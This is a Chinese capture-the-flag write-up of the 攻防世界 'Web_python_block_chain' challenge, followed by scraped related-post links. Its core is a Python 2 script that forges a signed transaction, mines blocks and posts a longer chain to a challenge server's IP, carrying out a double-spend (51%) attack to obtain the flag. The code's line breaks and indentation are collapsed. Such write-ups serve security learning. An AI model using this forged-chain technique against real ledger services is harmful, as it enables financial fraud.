[攻防世界]-WEB高手进阶区-Web_python_block_chain
题目
这道题考的是区块链里的双花攻击,大概意思是一笔资金可以花费两次,具体原理自己百度或看他
题目打开之后这样式的,第一眼看过去有点乱
点击View source code
可以发现这应该是DDCTF的原题
下面还有个flag文件提示需要一百万购买两颗钻石
【实验原理】
51%攻击(双花攻击)
【实验目的】
掌握双花攻击原理
【实验环境】
Windows
【实验工具】
firefox
解题过程
Poc 已给出,只需更改 ip 和三个 addr
# -*- encoding: utf-8 -*-
# written in python 2.7
import hashlib, json, rsa, uuid, os,requests,re# 一堆变量常量url_root="http://220.249.52.133:39176/"
url_create="http://220.249.52.133:39176/create_transaction"
url_flag="http://220.249.52.133:39176/flag"s=requests.Session()
ddcoin = s.get(url=url_root)prev_one=re.search(r"hash of genesis block: ([0-9a-f]{64})",ddcoin.content, flags=0).group(1)
bank_utox_id=re.search(r"\"input\": \[\"([0-9a-f\-]{36})",ddcoin.content, flags=0).group(1)
bank_signature=re.search(r"\"signature\": \[\"([0-9a-f]{96})",ddcoin.content, flags=0).group(1)DIFFICULTY = int('00000' + 'f' * 59, 16)
EMPTY_HASH = '0'*64bank_addr="a7c96365dfea156ebe73a6da4926c84e97bc9734a888b9b690a812617c0433044478ee39603fd84cf880a776a856b237"
hacke_addr="cd2139fd66b6317f93a6b102054650b7e105c6fce0cd18d9b20516a3136dfe76022fba6b589b734e749416d05a79b553"
shop_addr="a901a2d30a4cc027ad28a09f04e3c97ef12f18339e390ed35a353af114a8dbbcdf6759ea346a683889608e56af30b63f"# 源码中的APIdef hash(x):return hashlib.sha256(hashlib.md5(x).digest()).hexdigest()def hash_reducer(x, y):return hash(hash(x)+hash(y))def hash_block(block):return reduce(hash_reducer, [block['prev'], block['nonce'], reduce(hash_reducer, [tx['hash'] for tx in block['transactions']], EMPTY_HASH)])def hash_utxo(utxo):return reduce(hash_reducer, [utxo['id'], utxo['addr'], str(utxo['amount'])])def hash_tx(tx):return reduce(hash_reducer, [reduce(hash_reducer, tx['input'], EMPTY_HASH),reduce(hash_reducer, [utxo['hash'] for utxo in tx['output']], EMPTY_HASH)])def create_output_utxo(addr_to, amount):utxo = {'id': str(uuid.uuid4()), 'addr': addr_to, 'amount': amount}utxo['hash'] = hash_utxo(utxo)return utxodef create_tx(input_utxo_ids, output_utxo, privkey_from=None):tx = {'input': input_utxo_ids, 'signature':[bank_signature], 'output': output_utxo} # 修改了签名tx['hash'] = hash_tx(tx)return txdef create_block(prev_block_hash, nonce_str, transactions):if type(prev_block_hash) != type(''): raise Exception('prev_block_hash should be hex-encoded hash value')nonce = str(nonce_str)if len(nonce) > 128: raise Exception('the nonce is too long')block = {'prev': prev_block_hash, 'nonce': nonce, 'transactions': transactions}block['hash'] = hash_block(block)return block# 构造的方法def check_hash(prev,tx):for i in range(10000000):current_block=create_block(prev,str(i),tx)block_hash = int(current_block['hash'], 16)if block_hash<DIFFICULTY:print json.dumps(current_block)return current_blockdef create_feak_one():utxo_first=create_output_utxo(shop_addr,1000000)tx_first=create_tx([bank_utox_id],[utxo_first])return check_hash(prev_one,[tx_first])def create_empty_block(prev):return check_hash(prev,[])# 攻击过程a=create_feak_one()
print s.post(url=url_create,data=str(json.dumps(a))).content
b=create_empty_block(a['hash'])
print s.post(url=url_create,data=str(json.dumps(b))).content
c=create_empty_block(b['hash'])
print s.post(url=url_create,data=str(json.dumps(c))).content
d=create_empty_block(c['hash'])
print s.post(url=url_create,data=str(json.dumps(d))).content
e=create_empty_block(d['hash'])
print s.post(url=url_create,data=str(json.dumps(e))).content
print s.get(url=url_flag).content
Addr 就是访问页面时出现的这一部分
然后用 Python2 执行脚本,拿到答案ctf{922a488e-f243-4b09-ae2d-fa2725da79ea}
[攻防世界]-WEB高手进阶区-Web_python_block_chain相关推荐
- 攻防世界 web高手进阶区 8分题 Web_python_block_chain
前言 继续ctf的旅程 开始攻防世界web高手进阶区的8分题 本文是Web_python_block_chain的writeup 解题过程 这是个区块链题 这..裂开了啊 没搞过区块链 从零开始学习 ...
- 攻防世界 web高手进阶区 9分题 favorite_number
前言 继续ctf的旅程 开始攻防世界web高手进阶区的9分题 本文是favorite_number的writeup 解题过程 进入界面 简单的代码审计 首先是个判断,既要数组强等于,又要首元素不等 然 ...
- 攻防世界 web高手进阶区 10分题 weiphp
前言 继续ctf的旅程 开始攻防世界web高手进阶区的10分题 本文是weiphp的writeup 解题过程 进入界面 点击 进入一个登陆界面 没有注册 那肯定得找源码了 惯例源码+御剑 发现git泄 ...
- 攻防世界web高手进阶区ics-05(XCTF 4th-CyberEarth)WriteUp
文章目录 解题部分 总结: 解题部分 题目来源 攻防世界web高手进阶区ics-05(XCTF 4th-CyberEarth) 1.拿到题目以后,发现是一个index.php的页面,并且设备-没有显示 ...
- 攻防世界 web高手进阶区 9分题 bilibili
前言 继续ctf的旅程 开始攻防世界web高手进阶区的9分题 本文是bilibili的writeup 解题过程 进来界面 这尼玛出题人是黑还是粉啊 笑死 看题目意思是买lv6 惯例源码+御剑 没发现什 ...
- 攻防世界 web高手进阶区 7分题Confusion1
前言 继续ctf的旅程 开始攻防世界web高手进阶区的7分题 本文是Confusion1的writeup 解题过程 进来的界面如下 (后来知道是php vs python的意思,也就是给提示跟pyth ...
- 攻防世界-web高手进阶区
文章目录 攻防世界-web高手进阶区 1.baby_web 2.Training-WWW-Robots 3.Web_php_include (文件包含+伪协议) 1.方法 2.方法 4.ics-06( ...
- 攻防世界WEB高手进阶区warmup,NewsCenter,NaNNaNNaNNaN-Batman
前言 作者简介:不知名白帽,网络安全学习者. 博客主页:https://blog.csdn.net/m0_63127854?type=blog 攻防世界专栏:https://blog.csdn.net ...
- XCTF 攻防世界 web 高手进阶区
文章目录 ics-07 shrine( flask + jinja2 的 SSTI) easytornado(模板注入) upload(文件名注入) supersqli(堆叠注入) php_rce(T ...
最新文章
- java——网络知识积累
- 80页笔记看遍机器学习基本概念、算法、模型,帮新手少走弯路
- linux-压缩与解压缩(gz,zip,tar,jar,war)
- 用TensorFlow基于神经网络实现井字棋(含代码)
- PHP 之旅 基础语法(二)
- HTC Vive会是HTC的下一个增长引擎吗?
- MFC添加自定义消息及重写消息过程
- python网页前端和react有什么区别_Vue 和 React 的优点分别是什么?
- 如果你是加勒比海盗首领,会选择哪种算法来使价值最大化?
- OpenGL学习笔记2 —— 画立方体
- 年末优质蓝牙耳机盘点:十款商城热销高人气无线蓝牙耳机测评
- 三栏式布局详解(代码+图解)
- 100G多模光模块介绍及应用
- 火车进站(出栈顺序问题)
- edge linux 下载软件,微软Edge浏览器Linux开发版
- VS2010 学习C++动态链接库的创建与使用(带实例代码)
- Web直接打印走过的那些坑
- DDD(领域驱动设计)分层架构
- 贪心法 第2关:求一个数列的极差
- macd的python代码同花顺_同花顺MACD主力版指标公式